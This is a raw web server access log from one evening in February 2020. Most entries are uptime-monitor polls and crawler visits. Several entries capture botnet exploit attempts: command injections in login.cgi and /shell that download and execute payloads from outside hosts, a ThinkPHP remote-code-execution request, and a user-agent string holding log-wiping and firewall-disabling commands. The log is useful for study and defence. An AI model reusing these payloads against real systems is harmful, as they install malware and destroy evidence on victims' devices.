46.174.208.126 - - [17/Feb/2020:20:59:52 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:21:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
79.118.133.182 - - [17/Feb/2020:21:05:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
89.46.239.172 - - [17/Feb/2020:21:06:09 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
39.135.1.160 - - [17/Feb/2020:21:08:46 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:46 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:47 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:48 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:50 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:50 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:50 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:51 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
39.135.1.160 - - [17/Feb/2020:21:08:51 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
66.249.93.55 - - [17/Feb/2020:21:09:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon"
66.249.93.57 - - [17/Feb/2020:21:09:07 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/49.0.2623.75 Safari/537.36 Google Favicon"
212.91.246.72 - - [17/Feb/2020:21:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.173.133.46 - - [17/Feb/2020:21:10:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.110.89.145 - - [17/Feb/2020:21:11:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:21:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
145.220.15.78 - - [17/Feb/2020:21:12:02 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:15:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:16:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:17:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:18:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:19:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:20:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:21:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:22:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
91.122.15.229 - - [17/Feb/2020:21:23:13 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:21:23:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:21:24:18 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:21:24:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:21:24:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:21:24:28 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:21:24:29 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [17/Feb/2020:21:24:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
45.152.6.58 - - [17/Feb/2020:21:24:35 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
45.152.6.58 - - [17/Feb/2020:21:24:37 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
94.183.199.36 - - [17/Feb/2020:21:25:28 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:25:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:26:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:27:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
88.148.41.192 - - [17/Feb/2020:21:28:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:21:28:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:29:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:30:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:31:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
14.102.21.154 - - [17/Feb/2020:21:31:53 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:21:32:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:33:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:34:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:35:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
54.36.148.89 - - [17/Feb/2020:21:36:05 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; AhrefsBot/6.1; +http://ahrefs.com/robot/)"
109.11.161.41 - - [17/Feb/2020:21:36:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:21:36:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
123.14.145.71 - - [17/Feb/2020:21:37:18 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
212.91.246.72 - - [17/Feb/2020:21:37:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:38:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
186.56.130.226 - - [17/Feb/2020:21:38:38 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
85.97.196.40 - - [17/Feb/2020:21:39:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:21:39:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
182.176.178.178 - - [17/Feb/2020:21:40:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:21:40:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
181.177.226.58 - - [17/Feb/2020:21:40:35 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:41:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:42:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.40.220.249 - - [17/Feb/2020:21:43:03 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:21:43:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
125.166.12.11 - - [17/Feb/2020:21:44:14 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:44:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.124.143.0 - - [17/Feb/2020:21:45:09 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [17/Feb/2020:21:45:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
121.164.35.72 - - [17/Feb/2020:21:45:40 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:21:45:44 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:21:45:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:21:46:02 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
121.164.35.72 - - [17/Feb/2020:21:46:26 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [17/Feb/2020:21:46:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:47:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:48:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.215.212.192 - - [17/Feb/2020:21:49:09 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:21:49:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
191.5.162.81 - - [17/Feb/2020:21:50:13 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:21:50:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.115.40.30 - - [17/Feb/2020:21:50:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
217.24.146.78 - - [17/Feb/2020:21:51:07 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
212.91.246.72 - - [17/Feb/2020:21:51:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:52:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:53:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.253.154.198 - - [17/Feb/2020:21:54:29 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:21:54:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:55:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:56:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
51.15.191.81 - - [17/Feb/2020:21:56:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0"
212.91.246.72 - - [17/Feb/2020:21:57:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:58:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:21:59:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:00:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:01:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:02:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:03:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:05:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:06:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.22.229.157 - - [17/Feb/2020:22:06:43 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:43 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:44 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:44 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:44 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:45 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:45 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:45 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
1.22.229.157 - - [17/Feb/2020:22:06:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [17/Feb/2020:22:07:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
222.138.212.130 - - [17/Feb/2020:22:07:47 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [17/Feb/2020:22:08:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:09:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
86.125.13.116 - - [17/Feb/2020:22:10:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [17/Feb/2020:22:10:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:11:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
176.40.220.249 - - [17/Feb/2020:22:12:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [17/Feb/2020:22:12:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:13:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [17/Feb/2020:22:14:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
151.52.234.108 - - [17/Feb/2020:22:14:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
